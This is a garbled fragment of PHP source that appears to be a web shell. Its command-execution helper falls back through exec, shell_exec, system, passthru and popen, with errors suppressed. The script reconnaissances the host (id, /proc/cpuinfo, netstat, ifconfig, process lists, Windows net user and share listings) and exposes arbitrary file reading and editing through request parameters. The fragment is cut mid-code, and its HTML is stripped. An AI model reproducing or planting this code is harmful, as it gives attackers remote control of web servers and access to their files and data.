Error: " . $message . "."; die($completeMessage); } function getSymbolByQuantity($bytes) { $symbols=array('B', 'KiB', 'MiB', 'GiB', 'TiB', 'PiB', 'EiB', 'ZiB', 'YiB'); $exp=@floor(log($bytes)/log(1024)); return @sprintf('%.2f ' . $symbols[$exp], ($bytes/pow(1024, @floor($exp)))); } function ex($command) { $res=''; if (@function_exists('exec')) { @exec($command, $res); $res=@join("\n", $res); } elseif (@function_exists('shell_exec')) { $res=@shell_exec($command); } elseif(@function_exists('system')) { @ob_start(); @system($command); $res=@ob_get_contents(); @ob_end_clean(); } elseif (@function_exists('passthru')) { @ob_start(); @passthru($command); $res=@ob_get_contents(); @ob_end_clean(); } elseif (@is_resource($f=@popen($command, "r"))) { $res=""; while(!@feof($f)) { $res .= @fread($f, 1024); } @pclose($f); } $res=@htmlspecialchars($res); return $res; } if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) { echo ""; echo "
"; echo ""; echo ""; echo ""; echo "System information: here
";
echo "PHP info: here
";
echo "Send an email: here
" . @PHP_OS; echo "Server uname
" . php_uname(); echo "Server uptime
"; echo (!$win) ? ex("uptime") : ex("net statistics server"); echo "Server time
"; echo date("D, M d, h:iA"); echo "Disk space
"; echo "Total space: " . getSymbolByQuantity($total) . "Web server username
"; echo "Free space: " . getSymbolByQuantity($free); echo "
"; echo (!$win) ? `id` . "PHP version
" : @get_current_user(); echo "
" . @phpversion(); echo "PHP safe_mode
"; echo ($safeMode) ? "ONPHP open_basedir
" : "OFF
"; echo "
"; echo ($openBaseDir) ? "ONPHP magic_quotes_gpc
" : "OFF
"; echo "
"; echo ($magicQuotesGpc) ? "ONCPU information
" : "OFF
"; echo "
"; echo ex("cat /proc/cpuinfo"); echo "Memory information
"; echo ex("cat /proc/meminfo"); echo "Open ports and active connections
"; echo (!$win) ? ex("netstat -nat") : ex("netstat -ano"); echo "Network devices
"; echo (!$win) ? ex("/sbin/ifconfig -a") : ex("ipconfig /all"); echo "Processes
"; echo (!$win) ? ex("ps auxfww") : ex("tasklist"); echo ""; echo ($win) ? "Network use
".ex("net use")."Network share
".ex("net share")."Network user
".ex("net user")."" : ""; } else if(isset($_REQUEST["phpinfo"])) { echo @phpinfo(); } else if (isset($_REQUEST["readFile"])) { $file=$_REQUEST["readFile"]; $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "
");
$fileContent=@file_get_contents($file);
echo "File: " . $file . "
"; echo "
" . @htmlspecialchars($fileContent) . ""; } else if(isset($_REQUEST["editFile"])) { $file=$_REQUEST["editFile"]; if (!$file) { error("Specify the file to edit"); } $fileHandler=@fopen($file, "rb") or error("Unable to read file
" . $file . "
");
$fileContent=@file_get_contents($file);
echo "